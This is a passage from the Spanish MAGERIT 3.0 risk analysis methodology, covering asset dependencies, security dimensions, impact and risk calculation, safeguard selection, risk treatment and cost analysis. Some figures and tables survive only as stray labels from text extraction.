que permite organizar la defensa concienzuda y prudente, defendiendo para que no pase
nada malo y al tiempo estando preparados para atajar las emergencias, sobrevivir a los inci-
dentes y seguir operando en las mejores condiciones; como nada es perfecto, se dice que el
riesgo se reduce a un nivel residual que la Dirección asume.
Ambas actividades, análisis y tratamiento se combinan en el proceso denominado Gestión de
Riesgos.
Dependencias
Los activos esenciales son la información y los servicios prestados; pero estos activos dependen
de otros activos más prosaicos como pueden ser los equipos, las comunicaciones, las instalacio-
nes y las frecuentemente olvidadas personas que trabajan con aquellos.
De manera que los activos vienen a formar árboles o grafos de dependencias donde la seguridad de
los activos que se encuentran más arriba en la estructura o ‘superiores’ depende de los activos que se
encuentran más abajo o ‘inferiores’. Estas estructuras reflejan de arriba hacia abajo las dependencias,
mientas que de abajo hacia arriba la propagación del daño caso de materializarse las amenazas.
Por ello aparece como importante el concepto de “dependencias entre activos” o la medida en que
un activo superior se vería afectado por un incidente de seguridad en un activo inferior 11 .
Se dice que un “activo superior” depende de otro “activo inferior” cuando las necesidades de segu-
ridad del superior se reflejan en las necesidades de seguridad del inferior. O, dicho en otras pala-
bras, cuando la materialización de una amenaza en el activo inferior tiene como consecuencia un
perjuicio sobre el activo superior. Informalmente puede interpretarse que los activos inferiores son
los pilares en los que se apoya la seguridad de los activos superiores.
Aunque en cada caso hay que adaptarse a la Organización objeto del análisis, con frecuencia se
puede estructurar el conjunto de activos en capas, donde las capas superiores dependen de las
inferiores:
• activos esenciales
• información que se maneja
• servicios prestados
• servicios internos
• que estructuran ordenadamente el sistema de información
• el equipamiento informático
• aplicaciones (software)
Valoración
¿Por qué interesa un activo? Por lo que vale.
No se está hablando de lo que cuestan las cosas, sino de lo que valen. Si algo no vale para nada,
prescíndase de ello. Si no se puede prescindir impunemente de un activo, es que algo vale; eso
es lo que hay que averiguar pues eso es lo que hay que proteger.
La valoración se puede ver desde la perspectiva de la ‘necesidad de proteger’ pues cuanto más
valioso es un activo, mayor nivel de protección requeriremos en la dimensión (o dimensiones) de
seguridad que sean pertinentes.
El valor puede ser propio, o puede ser acumulado. Se dice que los activos inferiores en un es-
quema de dependencias, acumulan el valor de los activos que se apoyan en ellos.
El valor nuclear suele estar en la información que el si stema maneja y los servicios que se
prestan (activos denominados esenciales), quedando los demás activos subordinados a las
necesidades de explotación y protección de lo esencial.
Por otra parte, los sistemas de información explotan los datos para proporcionar servicios, internos
a la Organización o destinados a terceros, apareciendo una serie de datos necesarios para prestar
un servicio. Sin entrar en detalles técnicos de cómo se hacen las cosas, el conjunto de informa-
ción y servicios esenciales permite caracterizar funcionalmente una organización. Las dependen-
cias entre activos permiten relacionar los demás activos con datos y servicios.
Dimensiones
De un activo puede interesar calibrar diferentes dimensiones:
• su confidencialidad: ¿qué daño causaría que lo conociera quien no debe?
Esta valoración es típica de datos.
• su integridad: ¿qué perjuicio causaría que estuviera dañado o corrupto?
Esta valoración es típica de los datos, que pueden estar manipulados, ser total o parcial-
mente falsos o, incluso, faltar datos.
• su disponibilidad: ¿qué perjuicio causaría no tenerlo o no poder utilizarlo?
Esta valoración es típica de los servicios 12 .
12 Hay servicios finales que materializan la misión última de la Organización. Hay servicios internos de los
que la Organización se sirve para estructurar su propia distribución de responsabilidades. Por último, hay
servicios que se adquieren de otras organizaciones: suministros externos.
© Ministerio de Hacienda y Administraciones Públicas página 24 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
En sistemas dedicados a servicios de la sociedad de la información como puedan ser los de ad-
ministración electrónica o comercio electrónico, el conocimiento de los actores es fundamental pa-
ra poder prestar el servicio correctamente y poder perseguir los fallos (accidentales o deliberados)
que pudieran darse. Así pues, en los activos esenciales, frecuentemente es útil valorar:
• la autenticidad: ¿qué perjuicio causaría no saber exactamente quien hace o ha hecho
cada cosa?
Esta valoración es típica de servicios (autenticidad del usuario) y de los datos (autentici-
dad de quien accede a los datos para escribir o, simplemente, consultar)
• la trazabilidad del uso del servicio: ¿qué daño causaría no saber a quién se le presta tal
servicio? O sea, ¿quién hace qué y cuándo?
• la trazabilidad del acceso a los datos: ¿qué daño causaría no saber quién accede a qué
datos y qué hace con ellos?
Se reconocen habitualmente como dimensiones básicas la confidencialidad, integridad y disponibi-
lidad. En esta metodología se han añadido la autenticidad y el concepto de trazabilidad (del inglés,
accountability), que a efectos técnicos se traducen en mantener la integridad y la confidencialidad
de ciertos activos del sistema que pueden ser los servicios de directorio, las claves de firma digital,
los registros de actividad, etc.
El capítulo 3 del "Catálogo de Elementos" presenta una relación de dimensiones de seguridad.
En un árbol de dependencias, donde los activos superiores dependen de los inferiores, es impres-
cindible valorar los activos superiores, los que son importantes por sí mismos. Automáticamente
este valor se acumula en los inferiores, lo que no es óbice para que también puedan merecer, adi-
cionalmente, su valoración propia.
Valoración cualitativa
Las escalas cualitativas permiten avanzar con rapidez, posicionando el valor de cada activo en un
orden relativo respecto de los demás. Es frecuente plantear estas escalas como “órdenes de
magnitud” y, en consecuencia, derivar estimaciones del orden de magnitud del riesgo.
La limitación de las valoraciones cualitativas es que no permiten comparar valores más allá de su
orden relativo. No se pueden sumar valores.
La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cualitativas.
Valoración cuantitativa
Las valoraciones numéricas absolutas cuestan mucho esfuerzo; pero permiten sumar valores nu-
méricos de forma absolutamente “natural”. La interpretación de las sumas no es nunca motivo de
controversia.
Si la valoración es dineraria, además se pueden hacer estudios económicos comparando lo que
se arriesga con lo que cuesta la solución respondiendo a las preguntas:
• ¿Vale la pena invertir tanto dinero en esta salvaguarda?
• ¿Qué conjunto de salvaguardas optimizan la inversión?
• ¿En qué plazo de tiempo se recupera la inversión?
• ¿Cuánto es razonable que cueste la prima de un seguro?
La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cuantitativas.
0
15m 30m 1h 2h 6h 1d 2d 1s 2s 1m 2m 6m 1a total
13
Estos defectos se clasifican habitualmente bajo la taxonomía conocida como CVE (Common Vulnerability
Enumeration), una norma internacional de facto. La mayor parte de estos defectos suelen afectar a apli-
caciones software.
14
Las instalaciones pueden incendiarse; pero las aplicaciones, no. Las personas pueden ser objeto de un
ataque bacteriológico; pero los servicios, no. Sin embargo, los virus informáticos afectan a las aplicacio-
nes, no a las personas.
© Ministerio de Hacienda y Administraciones Públicas página 27 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
Una vez determinado que una amenaza puede perjudicar a un activo, hay que valorar su influen-
cia en el valor del activo, en dos sentidos:
degradación: cuán perjudicado resultaría el [valor del] activo
probabilidad: cuán probable o improbable es que se materialice la amenaza
La degradación mide el daño causado por un incidente en el supuesto de que ocurriera.
La degradación se suele caracterizar como una fracción del valor del activo y así aparecen expre-
siones como que un activo se ha visto “totalmente degradado”, o “degradado en una pequeña
fracción”. Cuando las amenazas no son intencionales, probablemente baste conocer la fracción
físicamente perjudicada de un activo para calcular la pérdida proporcional de valor que se pierde.
Pero cuando la amenaza es intencional, no se puede pensar en proporcionalidad alguna pues el
atacante puede causar muchísimo daño de forma selectiva.
La probabilidad de ocurrencia es más compleja de determinar y de expresar. A veces se modela
cualitativamente por medio de alguna escala nominal:
A veces se modela numéricamente como una frecuencia de ocurrencia. Es habitual usar 1 año
como referencia, de forma que se recurre a la tasa anual de ocurrencia 15 como medida de la pro-
babilidad de que algo ocurra. Son valores típicos:
15
ARO – Annual Rate of Occurrence.
© Ministerio de Hacienda y Administraciones Públicas página 28 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
El impacto acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de va-
loración, siendo una función del valor acumulado y de la degradación causada.
El impacto es tanto mayor cuanto mayor es el valor propio o acumulado sobre un activo.
El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado.
El impacto acumulado, al calcularse sobre los activos que soportan el peso del sistema de infor-
mación, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: pro-
tección de los equipos, copias de respaldo, etc.
Impacto repercutido
Es el calculado sobre un activo teniendo en cuenta
• su valor propio
• las amenazas a que están expuestos los activos de los que depende
El impacto repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de
valoración, siendo una función del valor propio y de la degradación causada.
El impacto es tanto mayor cuanto mayor es el valor propio de un activo.
El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado.
El impacto es tanto mayor cuanto mayor sea la dependencia del activo atacado.
El impacto repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar
las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues
una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de
riesgos: aceptar un cierto nivel de riesgo.
Riesgo acumulado
Es el calculado sobre un activo teniendo en cuenta
• el impacto acumulado sobre un activo debido a una amenaza y
• la probabilidad de la amenaza
El riesgo acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de valo-
ración, siendo una función del valor acumulado, la degradación causada y la probabilidad de la
amenaza.
El riesgo acumulado, al calcularse sobre los activos que soportan el peso del sistema de informa-
ción, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: protec-
ción de los equipos, copias de respaldo, etc.
Riesgo repercutido
Es el calculado sobre un activo teniendo en cuenta
• el impacto repercutido sobre un activo debido a una amenaza y
• la probabilidad de la amenaza
El riesgo repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de valo-
ración, siendo una función del valor propio, la degradación causada y la probabilidad de la ame-
naza.
El riesgo repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar
las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues
una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de
riesgos: aceptar un cierto nivel de riesgo.
Agregación de riesgos
Los párrafos anteriores determinan el riesgo que sobre un activo tendría una amenaza en una
cierta dimensión. Estos riesgos singulares pueden agregarse bajo ciertas condiciones:
• puede agregarse el riesgo repercutido sobre diferentes activos,
• puede agregarse el impacto acumulado sobre activos que no sean dependientes entre sí, y
no hereden valor de un activo superior común,
© Ministerio de Hacienda y Administraciones Públicas página 30 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
• no debe agregarse el riesgo acumulado sobre activos que no sean independientes, pues ello
supondría sobre ponderar el riesgo al incluir varias veces el valor acumulado de activos su-
periores,
• puede agregarse el riesgo de diferentes amenazas sobre un mismo activo, aunque conviene
considerar en qué medida las diferentes amenazas son independientes y pueden ser concu-
rrentes,
• puede agregarse el riesgo de una amenaza en diferentes dimensiones.
Selección de salvaguardas
Ante el amplio abanico de posibles salvaguardas a considerar, es necesario hacer una criba inicial
para quedarnos con aquellas que son relevantes para lo que hay que proteger. En esta criba se
deben tener en cuenta los siguientes aspectos:
1. tipo de activos a proteger, pues cada tipo se protege de una forma específica
2. dimensión o dimensiones de seguridad que requieren protección
3. amenazas de las que necesitamos protegernos
4. si existen salvaguardas alternativas
Además, es prudente establecer un principio de proporcionalidad y tener en cuenta:
1. el mayor o menor valor propio o acumulado sobre un activo, centrándonos en lo más valio-
so y obviando lo irrelevante
2. la mayor o menor probabilidad de que una amenaza ocurra, centrándonos en los riesgos
más importantes (ver zonas de riesgo)
3. la cobertura del riesgo que proporcionan salvaguardas alternativas
Esto lleva a dos tipos de declaraciones para excluir una cierta salvaguarda del conjunto de las que
conviene analizar:
• no aplica – se dice cuando una salvaguarda no es de aplicación porque técnicamente no es
adecuada al tipo de activos a proteger, no protege la dimensión necesaria o no protege fren-
te a la amenaza en consideración
• no se justif ica – se dice cuando la salvaguarda aplica, pero es desproporcionada al riesgo
que tenemos que proteger
Como resultado de estas consideraciones dispondremos de una “declaración de aplicabilidad”
o relación de salvaguardas que deben ser analizadas como componentes nuestro sistema de pro-
tección.
Tipo de protección
Esta aproximación a veces resulta un poco simplificadora, pues es habitual hablar de diferentes
tipos de protección prestados por las salvaguardas:
[PR] prevención
Diremos que una salvaguarda es preventiva cuando reduce las oportunidades de que un
incidente ocurra. Si la salvaguarda falla y el incidente llega a ocurrir, los daños son los
mismos.
Ejemplos: autorización previa de los usuarios, gestión de privilegios, planificación de capa-
cidades, metodología segura de desarrollo de software, pruebas en pre-producción, segre-
gación de tareas, ...
[DR] disuasión
Diremos que una salvaguarda es disuasoria cuando tiene un efecto tal sobre los atacantes
que estos no se atreven o se lo piensan dos veces antes de atacar. Son salvaguardas que
actúan antes del incidente, reduciendo las probabilidades de que ocurra; pero que no tie-
nen influencia sobre los daños causados caso de que el atacante realmente se atreva.
Ejemplos: vallas elevadas, guardias de seguridad, avisos sobre la persecución del delito o
persecución del delincuente, ...
efecto tipo
preventivas: reducen la probabilidad [PR] preventivas
[DR] disuasorias
[EL] eliminatorias
acotan la degradación [IM] minimizadoras
[CR] correctivas
[RC] recuperativas
consolidan el efecto de las demás [MN] de monitorización
[DC] de detección
[AW] de concienciación
[AD] administrativas
Tabla 3. Tipos de salvaguardas
Eficacia de la protección
Las salvaguardas se caracterizan, además de por su existencia, por su eficacia frente al riesgo
que pretenden conjurar. La salvaguarda ideal es 100% eficaz, eficacia que combina 2 factores:
desde el punto de vista técnico
• es técnicamente idónea para enfrentarse al riesgo que protege
• se emplea siempre
desde el punto de vista de operación de la salvaguarda
• está perfectamente desplegada, configurada y mantenida
• existen procedimientos claros de uso normal y en caso de incidencias
• los usuarios están formados y concienciados
• existen controles que avisan de posibles fallos
Entre una eficacia del 0% para aquellas que faltan y el 100% para aquellas que son idóneas y que
están perfectamente implantadas, se estimará un grado de eficacia real en cada caso concreto.
Para medir los aspectos organizativos, se puede emplear una escala de madurez que recoja en
forma de factor corrector la confianza que merece el proceso de gestión de la salvaguarda:
Esta tarea es crítica. Una buena identificación es importante desde varios puntos de vista:
• materializa con precisión el alcance del proyecto
• permite las interlocución con los grupos de usuarios: todos hablan el mismo lenguaje
• permite determinar las dependencias precisas entre activos
• permite valorar los activos con precisión
• permite identificar y valorar las amenazas con precisión
• permite determinar qué salvaguardas serán necesarias para proteger el sistema
Productos de salida
• Diagrama de dependencias entre activos
Productos de salida
• Relación de amenazas posibles
Técnicas, prácticas y pautas
• Catálogos de amenazas (ver "Catálogo de Elementos")
• Árboles de ataque (ver "Guía de Técnicas")
• Entrevistas (ver "Guía de Técnicas")
• Reuniones
• Valoración Delphi (ver "Guía de Técnicas")
En esta tarea se identifican las amenazas significativas sobre los activos identificados, tomando
en consideración:
En esta tarea se valoran las amenazas identificadas en la tarea anterior, tomando en considera-
ción:
• la experiencia (historia) universal
• la experiencia (historia) del sector de actividad
• la experiencia (historia) del entorno en que se ubican los sistemas
• la experiencia (historia) de la propia Organización
• los informes anexos a los reportes de defectos proporcionados por los fabricantes y orga-
nismos de respuesta a incidentes de seguridad (CERTS)
Sabiendo que existen una serie de posibles agravantes, como se describe en la sección X.
Productos de entrada
• modelo de activos del sistema
• modelo de amenazas del sistema
• indicadores de impacto y riesgo residual
• informes de productos y servicios en el mercado
Productos de salida
• Declaración de aplicabilidad: relación justificada de las salvaguardas necesarias
• Relación de salvaguardas desplegadas
Objetivos
• Determinar la eficacia de las salvaguardas pertinentes
Productos de entrada
• Inventario de salvaguardas derivado de la tarea MAR.31
Productos de salida
• Evaluación de salvaguardas : informe de salvaguardas desplegadas, caracterizadas por
su grado de efectividad
• Informe de insuficien cias (o vul nerabilidades): relación de salvaguardas que deberían
estar pero no están desplegadas o están desplegadas de forma insuficiente
En esta tarea se valora la efectividad de las salvaguardas identificadas en la tarea anterior, to-
mando en consideración:
• la idoneidad de la salvaguarda para el fin perseguido
• la calidad de la implantación
• la formación de los responsables de su configuración y operación
• la formación de los usuarios, si tienen un papel activo
• la existencia de controles de medida de su efectividad
• la existencia de procedimientos de revisión regular
Para cada salvaguarda conviene registrar la siguiente información:
• estimación de su eficacia para afrontar aquellas amenazas
• explicación de la estimación de eficacia
• entrevistas realizadas de las que se ha deducido la anterior estimación
Productos de entrada
• Resultados de la actividad MAR.1, Caracterización de los activos
• Resultados de la actividad MAR.2, Caracterización de las amenazas
• Resultados de la actividad MAR.3, Caracterización de las salvaguardas
Productos de salida
• Informe de impacto (potencial) por activo
• Informe de impacto residual por activo
En esta tarea se estima el impacto al que están expuestos los activos del sistema:
• el impacto potencial, al que está expuesto el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas
• el impacto residual, al que está expuesto el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente
desplegadas
Productos de entrada
• Resultados de la actividad MAR.1, Caracterización de los activos
• Resultados de la actividad MAR.2, Caracterización de las amenazas
• Resultados de la actividad MAR.3, Caracterización de las salvaguardas
• Resultados de la actividad MAR.4, Estimaciones de impacto
En esta tarea se estima el riesgo al que están sometidos los activos del sistema:
• el riesgo potencial, al que está sometido el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas
• el riesgo residual, al que está sometido el sistema teniendo en cuenta el valor de los activos
y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente des-
plegadas
3.3. Documentación
Documentación intermedia
• Resultados de las entrevistas.
• Documentación de otras fuentes: estadísticas, observaciones de expertos y observaciones
de los analistas.
• Información existente utilizable por el proyecto (por ejemplo inventario de activos)
• Documentación auxiliar: planos, organigramas, requisitos, especificaciones, análisis funcio-
nales, cuadernos de carga, manuales de usuario, manuales de explotación, diagramas de
flujo de información y de procesos, modelos de datos, etc.
• Informes y evaluaciones de defectos de los productos, procedentes de fabricantes o de cen-
tros de respuesta a incidentes de seguridad (CERTs).
Documentación final
• Modelo de valor
Informe que detalla los activos, sus dependencias, las dimensiones en las que son valiosos
y la estimación de su valor en cada dimensión.
• Mapa de riesgos:
Informe que detalla las amenazas significativas sobre cada activo, caracterizándolas por su
frecuencia de ocurrencia y por la degradación que causaría su materialización sobre el acti-
vo.
• Declaración de aplicabilidad:
Informe que recoge las contramedidas que se consideran apropiadas para defender el sis-
tema de información bajo estudio.
• Evaluación de salvaguardas:
Informe que detalla las salvaguardas existentes calificándolas en su eficacia para reducir el
riesgo que afrontan.
• Informe de insuficiencias o vulnerabilidades:
Informe que detalla las salvaguardas necesarias pero ausentes o insuficientemente eficaces.
© Ministerio de Hacienda y Administraciones Públicas página 45 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
• Estado de riesgo:
Informe que detalla para cada activo el impacto y el riesgo, potenciales y residuales, frente a
cada amenaza.
Esta documentación es un fiel reflejo del estado de riesgo y de las razones por la que este riesgo
no es aceptable. Es fundamental entender las razones que llevan a una valoración determinada
de riesgo para que el proceso de gestión de riesgos esté bien fundamentado. El proceso de ges-
tión de riesgos partirá de estas valoraciones para atajar el riesgo o reducirlo a niveles aceptables.
4.1. Conceptos
El análisis de riesgos determina impactos y riesgos. Los impactos recogen daños absolutos, inde-
pendientemente de que sea más o menos probable que se dé la circunstancia. En cambio, el ries-
go pondera la probabilidad de que ocurra. El impacto refleja el daño posible (lo peor que puede
ocurrir), mientras que el riesgo refleja el daño probable (lo que probablemente ocurra).
El resultado del análisis es sólo un análisis. A partir de el disponemos de información para tomar
decisiones conociendo lo que queremos proteger (activos valorados=, de qué lo queremos prote-
ger (amenazas valoradas) y qué hemos hecho por protegerlo (salvaguardas valoradas). Todo ello
sintetizado en los valores de impacto y riesgo.
A partir de aquí, las decisiones son de los órganos de gobierno de la Organización que actuarán
en 2 pasos:
• paso 1: evaluación
• paso 2: tratamiento
La siguiente figura resume las posibles decisiones que se pueden tomar tras haber estudiado los
riesgos. La caja ‘estudio de los riesgos’ pretende combinar el análisis con la evaluación.
4.1.3. Tratamiento
La Dirección puede decidir aplicar algún tratamiento al sistema de seguridad desplegado para pro-
teger el sistema de información. Hay dos grandes opciones:
• reducir el riesgo residual (aceptar un menor riesgo)
• ampliar el riesgo residual (aceptar un mayor riesgo)
Para tomar una u otra decisión hay que enmarcar los riesgos soportados por el sistema de infor-
mación dentro de un contexto más amplio que cubre un amplio espectro de consideraciones de
las que podemos apuntar algunas sin pretender ser exhaustivos:
• cumplimiento de obligaciones; sean legales, regulación pública o sectorial, compromisos in-
ternos, misión de la Organización, responsabilidad corporativa, etc.
• posibles beneficios derivados de una actividad que en sí entraña riesgos
• condicionantes técnicos, económicos, culturales, políticos, etc.
• equilibrio con otros tipos de riesgos: comerciales, financieros, regulatorios, medioambienta-
les, laborales, …
En condiciones de riesgo residual extremo, casi la única opción es reducir el riesgo.
En condiciones de riesgo residual aceptable , podemos optar entre aceptar el nivel actual o am-
pliar el riesgo asumido. En cualquier caso hay que mantener una monitorización continua de las
circunstancias para que el riesgo formal cuadre con la experiencia real y reaccionemos ante cual-
quier desviación significativa.
17
Hablar de Dirección es pecar de simplificar la realidad. En inglés suele emplearse el término “stakehol-
ders” (o tenedores de la estaca) para referirse a los afectados por las decisiones estratégicas de una Or-
ganización: dueños, gerentes, usuarios, empleados e incluso la sociedad en general. Porque al final si se
aceptan riesgos imprudentemente elevados, el perjudicado puede no ser sólo el que dirige, sino todos
los que tienen su confianza puesta en la Organización y cuyo lamentable desempeño oscurecería sus
legítimas expectativas. En última instancia puede verse afectada la confianza en un sector o en una tec-
nología por la imprudente puesta en escena de algunos actores.
© Ministerio de Hacienda y Administraciones Públicas página 49 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
En condiciones de riesgo residual medio, podemos observar otras características como las pér-
didas y ganancias que pueden verse afectadas por el escenario presente, o incluso analizar el es-
tado del sector en el que operamos para compararnos con la “norma”.
En términos de las zonas de riesgo que se expusieron anteriormente,
• zona 1 – riesgos muy probables y de muy alto impacto; posiblemente nos planteemos sacar-
los de esta zona
• zona 2 – riesgos de probabilidad relativa e impacto medio; se pueden tomar varias opciones
• zona 3 – riesgos improbables y de bajo impacto; o los dejamos como están, o permitimos
que suban a mayores si ello nos ofreciera alguna ventaja o beneficio en otro terreno
• zona 4 – riesgos improbables pero de muy alto impacto; suponen un reto de decisión pues
su improbabilidad no justifica que se tomen medidas preventivas, pero su elevado impacto
exige que tengamos algo previsto para reaccionar; es decir, hay que poner el énfasis en
medidas de reacción para limitar el daño y de recuperación del desastre si ocurriera.
También conviene considerar la incertidumbre del análisis. Hay veces que sospechamos las con-
secuencias, pero hay un amplio rango de opiniones sobre su magnitud (incertidumbre en el impac-
to). En otras ocasiones la incertidumbre afecta a la probabilidad. Estos escenarios suelen afectar a
las zonas 4 y 3, pues cuando la probabilidad es alta, normalmente adquirimos experiencia, propia
o ajena, con rapidez y salimos de la incertidumbre. En cualquier caso, toda incertidumbre debe
considerarse como mala y debemos hacer algo:
• buscar formas de mejorar la previsión, típicamente indagando en foros, centros de respuesta
a incidentes o expertos en la materia;
• evitar el riesgo cambiando algún aspecto, componente o arquitectura del sistema; o
• tener preparados sistemas de alerta temprana y procedimientos flexibles de contención, limi-
tación y recuperación del posible incidente.
A veces que estos escenarios de incertidumbre ocurren en un terreno en el que hay obligaciones
de cumplimiento y la propia normativa elimina o reduce notablemente las opciones disponibles; es
decir, el sistema se protege por obligación más que por certidumbre del riesgo.
A la vista de estas consideraciones se tomarán las decisiones de tratamiento.
0 10 20 30 40 50 60 70 80 90 100
grado de seguridad
riesgo residual gasto en salvaguardas coste total
Este tipo de gráficas intentan reflejar cómo al avanzar de un grado de seguridad 0 hacia un grado
de seguridad del 100%, el coste de la inseguridad (el riesgo) disminuye, mientras que el coste de
la inversión en salvaguardas aumenta. Es intencionado el hecho de que el riesgo caiga fuertemen-
te con pequeñas inversiones 18 y que el coste de las inversiones se dispare para alcanzar niveles
de seguridad cercanos al 100% 19 . La curva central suma el coste para la Organización, bien deri-
vado del riesgo (baja seguridad), bien derivado de la inversión en protección. De alguna forma
existe un punto de equilibrio entre lo que se arriesga y lo que se invierte en defensa, punto al que
hay que tender si la única consideración es económica.
Pero llevar el sentido común a la práctica no es evidente, ni por la parte del cálculo del riesgo, ni
por la parte del cálculo del coste de las salvaguardas. En otras palabras, la curva anterior es con-
ceptual y no se puede dibujar en un caso real.
En la práctica, cuando hay que protegerse de un riesgo que se considera significativo, aparecen
varios escenarios hipotéticos:
E0: si no se hace nada
E1: si se aplica un cierto conjunto de salvaguardas
E2: si se aplica otro conjunto de salvaguardas
Y así N escenarios con diferentes combinaciones de salvaguardas.
El análisis económico tendrá como misión decidir entre estas opciones, siendo E0 (seguir como
estamos) una opción posible, que pudiera estar justificada económicamente.
En cada escenario hay que estimar a lo largo del tiempo el coste que va a suponer. Para poder
agregar costes, se contabilizan como valores negativos las pérdidas de dinero y como valores po-
sitivos las entradas de dinero. Considerando los siguientes componentes:
− (recurrente) riesgo residual 20
− (una vez) coste de las salvaguardas 21
18
Medidas básicas de seguridad suponen un importante descenso del riesgo. Por ello son inexcusables.
19
Reflejando una vez más que la seguridad absoluta (riesgo cero) no existe.
20
Si la frecuencia de las amenazas se ha estimado como tasa anual, los datos de riesgo residual estarán
automáticamente anualizados. Si se hubiera empleado otra escala, habría que convertirla a términos
anuales.
© Ministerio de Hacienda y Administraciones Públicas página 51 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
− (recurrente) coste anual de mantenimiento de las salvaguardas
+ (recurrente) mejora en la productividad 22
+ (recurrente) mejoras en la capacidad de la Organización para prestar nuevos servicios,
conseguir mejores condiciones de los proveedores, entrar en asociación con otras or-
ganizaciones, etc.
El escenario E0 es muy simple: todos los años se afronta un gasto marcado por el riesgo, que se
acumula año tras año.
En los demás escenarios, hay cosas que suman y cosas que restan, pudiendo darse varias situa-
ciones 23 como las recogidas en la gráfica siguiente. Se presentan valores acumulados a lo largo
de un periodo de 5 años. La pendiente de la recta responde a los costes recurrentes. El valor el
primer año corresponde a los costes de implantación.
21
Si la salvaguarda ya existe, coste de mejora. Si no existiera, coste de adquisición e instalación. En cual-
quier caso hay que imputar costes de formación de los operadores, usuarios, etc.
22
Este epígrafe puede ser positivo si la Organización mejora su productividad; o puede ser negativo, si em-
peora. Como ejemplo típico de salvaguardas que mejoran la productividad podemos citar la introducción
de dispositivos de autenticación en sustitución de la clásica contraseña. Como ejemplo típico de salva-
guardas que minoran la productividad podemos citar la clasificación de documentación con control de ac-
ceso restringido.
23 En el eje X se muestran años, en referencia al año 0 en que se realiza el análisis de riesgos. En ordena-
das aparecen costes en unidades arbitrarias.
© Ministerio de Hacienda y Administraciones Públicas página 52 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
24 Ejemplos típicos pueden ser un equipo cortafuegos, un sistema de gestión de redes privadas virtuales,
tarjetas inteligentes de identificación de los usuarios, una PKI de clave pública, etc.
© Ministerio de Hacienda y Administraciones Públicas página 54 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
Matriz RACI
La matriz que se expone a continuación es orientativa y cada organismo deberá adecuarla a su
organización particular.
La matriz de la asignación de responsabilidades (RACI por las iniciales, en inglés, de los tipos de
responsabilidad) se utiliza generalmente en la gestión de proyectos para relacionar actividades
con recursos (individuos o equipos de trabajo). De esta manera se logra asegurar que cada una
de las tareas esté asignada a un individuo o a un órgano colegiado.
rol descripción
R Responsible Este rol realiza el trabajo y es responsable por su realización. Lo más habitual
es que exista sólo un R, si existe más de uno, entonces el trabajo debería ser
subdividido a un nivel más bajo, usando para ello las matrices RASCI. Es quien
debe ejecutar las tareas.
A Accountable Este rol se encarga de aprobar el trabajo finalizado y a partir de ese momento,
se vuelve responsable por él. Sólo puede existir un A por cada tarea. Es quien
debe asegurar que se ejecutan las tareas.
C Consulted Este rol posee alguna información o capacidad necesaria para terminar el traba-
jo. Se le informa y se le consulta información (comunicación bidireccional).
I Informed Este rol debe ser informado sobre el progreso y los resultados del trabajo. A
diferencia del Consultado, la comunicación es unidireccional.
Tabla 5. Roles en procesos distribuidos
Siendo
Dirección – Alta Dirección, Órganos de Gobierno
RINFO – Responsable de la Información
RSERV – Responsable del Servicio
RSEG – Responsable de la Seguridad
RSIS – Responsable (operacional) del Sistema
ASS – Administrador(es) de la Seguridad del Sistema
4.2.2. Contexto
Hay que documentar el entorno externo en el que opera la Organización: cultural, social y político.
Esto incluye tanto aspectos nacionales como internacionales, viniendo marcados por el ámbito de
actividad de la Organización.
Hay que identificar las obligaciones legales, reglamentarias y contractuales. Por ejemplo, suele
haber obligaciones asociadas a
— tratamiento de datos de carácter personal,
— tratamiento de información clasificada,
— tratamiento de información y productos sometidos a derechos de propiedad intelectual
— prestación de servicios públicos
— operación de infraestructuras críticas
— etc.
Hay que identificar el entorno en cuanto competencia y posicionamiento respecto de la competen-
cia.
Hay que identificar el contexto interno en el que se desenvuelve la actividad de la Organización:
política interna, compromisos con los accionistas y con los trabajadores o sus representantes.
La identificación del contexto en el que se desarrolla el proceso de gestión de riesgos debe ser
objeto de una revisión continua para adaptarse a las circunstancias de cada momento.
4.2.3. Criterios
Múltiples aspectos relacionados con los riesgos son objeto de estimaciones. Conviene que las es-
timaciones sean lo más objetivas que sea posible o. al menos, que sean repetibles, explicables y
comparables.
En particular conviene establecer escalas de valoración para
— valorar los requisitos de seguridad de la información
— valorar los requisitos de disponibilidad de los servicios
Servicios subcontratados
Cuando dependemos de terceros es especialmente importante conocer el desempeño de nues-
tros proveedores, tanto con un buen sistema de reporte, escalado y resolución de los incidentes
de seguridad, como en el establecimiento de indicadores predictivos. Del análisis de dependen-
cias realizado durante el análisis de riesgos, tenemos información de en qué medida y en qué di-
mensiones de seguridad dependemos de cada proveedor externo. De esta información se sigue
qué elementos debemos monitorizar para asegurarnos que satisfacen nuestros requisitos de se-
guridad.
Se han establecido los criterios de valoración de riesgos y toma de decisiones de tra- 4.2.3
tamiento
Se han interpretado los riesgos residuales en términos de impacto en el negocio o mi- 4.2.4
sión de la Organización
√ actividad tarea
Conviene recordar que un proyecto de análisis de riesgos siempre es mixto por su propia natura-
leza; es decir, requiere la colaboración permanente de especialistas y usuarios tanto en las fases
